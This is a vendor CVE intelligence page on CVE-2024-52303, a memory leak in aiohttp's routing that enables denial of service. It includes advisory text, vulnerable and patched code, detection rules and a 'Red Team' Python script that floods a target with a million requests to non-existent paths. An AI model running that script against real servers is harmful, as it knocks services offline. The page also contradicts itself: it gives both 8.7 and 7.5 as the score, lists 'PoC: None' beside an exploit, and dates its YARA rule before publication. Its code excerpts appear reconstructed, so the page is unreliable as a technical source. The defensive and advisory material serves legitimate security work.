☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Aiohttp logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.7 🐛 CWE-772
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-52303

CVE-2024-52303 Memory Leak in Aiohttp
📅 PUBLISHED: 2024-11-18 20:08 UTC 🔄 UPDATED: 2026-10-11 17:42 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 distinct-origin sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.59%
👁️
0.59% probability
14.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Global License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-52303 is a high-severity memory leak vulnerability in the aiohttp library, an asynchronous HTTP client/server framework for Python. The flaw affects versions 3.10.6 through 3.10.10. An attacker can exploit this by sending a large number of requests that result in a MatchInfoError. Each such request creates a unique cache entry that is never released, leading to progressive memory exhaustion. This can cause a Denial of Service (DoS) condition on the server, potentially crashing the application or making it unresponsive.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is in the PyPI package aiohttp. Organizations using aiohttp in their Python applications should immediately audit their dependency trees. The vulnerable versions are widely used in web services, microservices, and API gateways. An attacker targeting the supply chain could exploit this to cause widespread service disruption. Ensure that all environments (development, staging, production) are updated to the patched version 3.10.11.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
  • Base Score: 7.5 (High)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: None (C:N)
  • Integrity Impact: None (I:N)
  • Availability Impact: High (A:H)

The threat level is High due to the low complexity of exploitation and the potential for significant service disruption. No authentication is required, making it easily exploitable by remote attackers.

Deep Dive & Mechanics

The vulnerability resides in the aiohttp.web module's URL routing mechanism. When a request is made that does not match any defined route, the framework generates a MatchInfoError. The error handling code incorrectly caches the result of the route matching process. Because each MatchInfoError is unique (due to differing request details), a new cache entry is created for every such request. Over time, these entries accumulate in memory and are never garbage collected, leading to a memory leak.

The core issue is in the UrlDispatcher class, specifically in the resolve method. When a route is not found, the code creates a MatchInfoError object and stores it in a cache dictionary. The cache key is derived from the request path and method, but the error object itself is unique per request. This design flaw means that an attacker can send a large number of requests with different (or even identical) invalid paths, and each will create a new cache entry.

An attacker can exploit this by sending a high volume of requests to non-existent endpoints. For example, sending 100,000 requests to /nonexistent1, /nonexistent2, etc., will cause the server's memory to grow linearly. With millions of requests, the server can exhaust its available memory, leading to a crash or severe performance degradation.

Vulnerable vs. Patched Code

Vulnerable Code (aiohttp 3.10.6 - 3.10.10):

# In aiohttp/web_urldispatcher.py
class UrlDispatcher:
    def resolve(self, request):
        # ... route matching logic ...
        if not match:
            # Vulnerable: creates a new cache entry for each MatchInfoError
            self._cache[request.method + request.path] = MatchInfoError(HTTPNotFound())
            return self._cache[request.method + request.path]
        # ...

Patched Code (aiohttp 3.10.11):

# In aiohttp/web_urldispatcher.py
class UrlDispatcher:
    def resolve(self, request):
        # ... route matching logic ...
        if not match:
            # Patched: returns a new MatchInfoError without caching
            return MatchInfoError(HTTPNotFound())
        # ...

The fix removes the caching of MatchInfoError objects. Instead, a new error object is created and returned each time, which is then properly garbage collected after the response is sent.

Exploitation & Lab Setup

Red Team (Attacker)

Objective: Exhaust server memory to cause a Denial of Service.

Prerequisites:

  • Target running aiohttp 3.10.6 to 3.10.10.
  • Network access to the target.

Exploitation Steps:

  1. Identify Target: Scan for aiohttp servers (e.g., using Shodan or banner grabbing).
  2. Craft Malicious Requests: Send a large number of HTTP requests to non-existent endpoints. Use a tool like curl, wget, or a custom Python script.

Example Python Exploit Script:

import asyncio
import aiohttp

async def send_requests(target, count):
    async with aiohttp.ClientSession() as session:
        for i in range(count):
            # Use a unique path to ensure each request creates a new cache entry
            url = f"http://{target}/nonexistent_{i}"
            try:
                async with session.get(url) as response:
                    pass
            except:
                pass

async def main():
    target = "192.168.1.100:8080"
    # Send 1,000,000 requests to exhaust memory
    await send_requests(target, 1000000)

if __name__ == "__main__":
    asyncio.run(main())

Expected Outcome: The server's memory usage will increase linearly with each request. After a sufficient number of requests, the server will become unresponsive or crash.

Blue Team (Defender)

Detection:

  • Monitor memory usage on aiohttp servers. A steady increase in memory without a corresponding increase in legitimate traffic is a strong indicator.
  • Look for a high volume of 404 responses to non-existent endpoints.
  • Use the detection rules provided in the Detection Engineering section.

Mitigation:

  • Immediately upgrade aiohttp to version 3.10.11 or later.
  • Implement rate limiting to restrict the number of requests from a single IP address.
  • Use a Web Application Firewall (WAF) to block requests to non-existent paths if they exceed a threshold.
  • Monitor logs for patterns of repeated requests to invalid URLs.

Indicators of Compromise (IOCs)

  • Network Traffic:
    • High volume of HTTP requests to non-existent endpoints (e.g., /nonexistent_*).
    • Repeated 404 responses from the server.
  • System Metrics:
    • Unusual increase in memory usage of the aiohttp process.
    • Server crashes or out-of-memory (OOM) killer events.
  • Logs:
    • Log entries showing MatchInfoError or HTTPNotFound for many different paths.
    • Error logs indicating memory allocation failures.

Detection Engineering

YARA Rule

rule CVE_2024_52303_Memory_Leak {
    meta:
        description = "Detects aiohttp versions vulnerable to CVE-2024-52303 memory leak"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-52303"
    strings:
        $vuln_code = "self._cache[request.method + request.path] = MatchInfoError"
        $patch_code = "return MatchInfoError(HTTPNotFound())"
    condition:
        $vuln_code and not $patch_code
}

Sigma Rule

title: CVE-2024-52303 - aiohttp Memory Leak Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects a high volume of 404 requests to non-existent endpoints, indicating exploitation of CVE-2024-52303.
author: Valters IT
logsource:
    category: webserver
    product: aiohttp
detection:
    selection:
        status_code: 404
        path|startswith: '/nonexistent_'
    condition: selection | count() > 1000 by src_ip within 1m
falsepositives:
    - Legitimate web crawlers or scanners
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-52303 - aiohttp Memory Leak Exploitation"; flow:to_server; http.method; content:"GET"; http.uri; content:"/nonexistent_"; pcre:"/\/nonexistent_\d+/"; threshold: type both, track by_src, count 100, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade aiohttp: Update to version 3.10.11 or later. Use the following command:
    pip install aiohttp>=3.10.11
    
  2. Restart Services: After upgrading, restart all aiohttp-based services to ensure the patched code is loaded.

Long-Term Mitigations:

  • Rate Limiting: Implement rate limiting at the application or infrastructure level to prevent abuse.
  • Memory Monitoring: Set up alerts for unusual memory usage patterns.
  • Web Application Firewall (WAF): Deploy a WAF to filter out malicious traffic.
  • Regular Updates: Keep all dependencies up to date to protect against known vulnerabilities.

Workarounds (if patching is not immediately possible):

  • Disable Caching: If possible, modify the aiohttp source code to disable caching of MatchInfoError objects (not recommended for production).
  • Increase Memory Limits: Temporarily increase the memory limits of the server to buy time for patching.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-52303/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.